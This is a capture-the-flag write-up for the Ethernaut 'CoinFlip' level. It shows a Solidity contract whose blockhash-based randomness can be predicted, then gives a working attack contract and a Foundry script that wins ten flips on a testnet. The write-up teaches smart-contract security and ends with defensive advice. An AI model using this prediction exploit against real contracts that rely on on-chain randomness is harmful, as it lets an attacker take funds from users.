The Ethernaut CTF Solutions | 03 - Coinflip
Predicting the Unpredictable: Outsmarting Solidity's Pseudo-Randomness
Table of contents
Goals
The Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR =
57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
The hack
Everything in the EVM is deterministic. This means that entropy doesn't exist natively on-chain (you can and should use third-party solutions like Chainlink VRF).
The logic used in the CoinFlip
contract is only pseudo-random. The pseudo is important here because it means that we can predict the next flip by reproducing the same logic as the one used in the contract.
Once done, we can call the flip()
function with the predicted value and repeat this 10 times to win the level.
Solution
Let's craft a smart contract that reproduces the same logic as the CoinFlip
contract to predict the next flip and call the flip
function with the predicted value.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface ICoinFlip {
function flip(bool) external returns (bool);
}
contract Unflip {
address immutable coinflip;
uint256 FACTOR =
57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _coinflip) {
coinflip = _coinflip;
}
function playToWin() private view returns (bool) {
uint256 pastBlockValue = uint256(blockhash(block.number - 1));
uint256 coinFlipResult = pastBlockValue / FACTOR;
return coinFlipResult == 1 ? true : false;
}
function attack() public {
ICoinFlip(coinflip).flip(playToWin());
}
}
Now that we have crafted our attack contract, let's build the deployment script:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Script, console2} from "forge-std/Script.sol";
import {Unflip} from "../src/03_CoinFlip.sol";
interface ICoinFlip {
function consecutiveWins() external view returns (uint256);
}
contract PoC is Script {
// Replace with your CoinFlip instance
ICoinFlip coinflip = ICoinFlip(0xb721D5C58B4B2d7Fc82084541C639A6b6E3CBf73);
function run() external {
uint256 deployer = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployer);
Unflip unflip = new Unflip(address(coinflip));
unflip.attack();
console2.log("Consecutive Wins: ", coinflip.consecutiveWins());
vm.stopBroadcast();
}
}
Then, run the script 10 times with the following command:
forge script script/03_CoinFlip.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
๐ Level completed ๐
Takeaway
Entropy doesn't exist on-chain
Pseudo-randomness can help for development but not for production
You can find all the codes, challenges and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/